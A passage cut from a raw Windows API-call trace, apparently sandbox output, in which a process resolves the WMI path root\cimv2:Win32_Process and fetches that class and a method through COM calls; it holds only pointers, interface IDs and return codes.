This=0x1aa0bb50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0154.737] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc0efc0) returned 0x0 [0154.737] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0efc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0154.737] WbemDefPath:IUnknown:Release (This=0x1bc0efc0) returned 0x3 [0154.737] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0154.737] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0154.737] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0154.738] WbemDefPath:IUnknown:Release (This=0x1aa0bb50) returned 0x2 [0154.738] WbemDefPath:IUnknown:Release (This=0x1aa0bb50) returned 0x1 [0154.738] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0154.738] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0154.738] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0bb50) returned 0x0 [0154.738] WbemDefPath:IUnknown:AddRef (This=0x1aa0bb50) returned 0x3 [0154.738] WbemDefPath:IUnknown:Release (This=0x1aa0bb50) returned 0x2 [0154.738] WbemDefPath:IWbemPath:SetText (This=0x1aa0bb50, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0154.738] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bc10, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0154.738] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bb50, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0154.738] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bb50, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0154.738] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bb50, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0154.738] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0bc10) returned 0x0 [0154.738] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bb50, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0154.738] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0bb50, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0154.738] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0bb50, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0154.738] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0bc10, uIndex=0x0, pszName="ROOT") returned 0x0 [0154.738] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0bb50, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0154.738] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0bb50, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0154.738] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0bc10, uIndex=0x1, pszName="CIMV2") returned 0x0 [0154.738] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0bc10, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0154.739] WbemDefPath:IWbemPath:SetClassName (This=0x1aa0bc10, Name="Win32_Process") returned 0x0 [0154.739] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0bc10, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0154.739] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bc10, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0154.739] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bc10, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0154.739] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bc10, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0154.739] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0bc10, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0154.739] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bc10, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0154.739] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bc10, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0154.739] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bc10, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0154.739] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bf10, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0154.739] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0154.739] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0154.739] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bc10, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0154.739] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bc10, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0154.739] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0154.739] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0154.740] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0154.740] IUnknown:Release (This=0x1a943398) returned 0x1 [0154.742] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bc0ecc0) returned 0x0 [0154.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0ecc0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0154.742] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0ecc0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1aa0ba90) returned 0x0 [0154.742] WbemDefPath:IUnknown:Release (This=0x1bc0ecc0) returned 0x0 [0154.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ba90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1aa0ba90) returned 0x0 [0154.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ba90, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0154.742] WbemDefPath:IUnknown:AddRef (This=0x1aa0ba90) returned 0x3 [0154.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ba90, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0154.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ba90, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0154.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ba90, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bc0ec20) returned 0x0 [0154.743] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0ec20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0154.743] WbemDefPath:IUnknown:Release (This=0x1bc0ec20) returned 0x3 [0154.743] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0154.743] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0154.743] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ba90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0154.743] WbemDefPath:IUnknown:Release (This=0x1aa0ba90) returned 0x2 [0154.743] WbemDefPath:IUnknown:Release (This=0x1aa0ba90) returned 0x1 [0154.743] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0154.743] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0154.743] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ba90, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1aa0ba90) returned 0x0 [0154.743] WbemDefPath:IUnknown:AddRef (This=0x1aa0ba90) returned 0x3 [0154.743] WbemDefPath:IUnknown:Release (This=0x1aa0ba90) returned 0x2 [0154.743] WbemDefPath:IWbemPath:SetText (This=0x1aa0ba90, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0154.743] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bf10, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0154.743] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0154.743] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0154.743] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0154.743] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0154.744] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0154.744] IUnknown:Release (This=0x1a943398) returned 0x1 [0154.745] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc0ec40) returned 0x0 [0154.746] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0ec40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0154.746] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0ec40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0b9d0) returned 0x0 [0154.746] WbemDefPath:IUnknown:Release (This=0x1bc0ec40) returned 0x0 [0154.746] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0b9d0) returned 0x0 [0154.746] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0154.746] WbemDefPath:IUnknown:AddRef (This=0x1aa0b9d0) returned 0x3 [0154.746] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0154.746] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0154.746] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc0e9e0) returned 0x0 [0154.747] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0e9e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0154.747] WbemDefPath:IUnknown:Release (This=0x1bc0e9e0) returned 0x3 [0154.747] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0154.747] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0154.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0154.747] WbemDefPath:IUnknown:Release (This=0x1aa0b9d0) returned 0x2 [0154.747] WbemDefPath:IUnknown:Release (This=0x1aa0b9d0) returned 0x1 [0154.747] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0154.747] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0154.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0b9d0) returned 0x0 [0154.747] WbemDefPath:IUnknown:AddRef (This=0x1aa0b9d0) returned 0x3 [0154.747] WbemDefPath:IUnknown:Release (This=0x1aa0b9d0) returned 0x2 [0154.747] WbemDefPath:IWbemPath:SetText (This=0x1aa0b9d0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0154.747] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ba90, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0154.747] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b9d0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0154.747] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b9d0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0154.747] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b9d0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0154.747] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0ba90) returned 0x0 [0154.747] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0154.747] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b9d0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0154.747] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b9d0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0154.748] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0ba90, uIndex=0x0, pszName="root") returned 0x0 [0154.748] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b9d0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0154.748] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b9d0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0154.748] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0ba90, uIndex=0x1, pszName="cimv2") returned 0x0 [0154.748] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0b9d0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0154.748] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0b9d0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0154.748] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0ba90, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0154.748] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0ba90, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0154.748] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0ba90, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0154.748] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bf10, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0154.748] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0154.748] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0154.748] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bf10, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0154.748] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0154.748] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0154.748] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ba90, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0154.748] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ba90, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0154.748] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ba90, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0154.748] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ba90, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0154.748] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ba90, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0154.749] IWbemServices:GetObject (in: This=0x1bbab9b0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bcf56a0, ppCallResult=0x0) returned 0x0 [0154.754] IWbemClassObject:GetMethod (in: 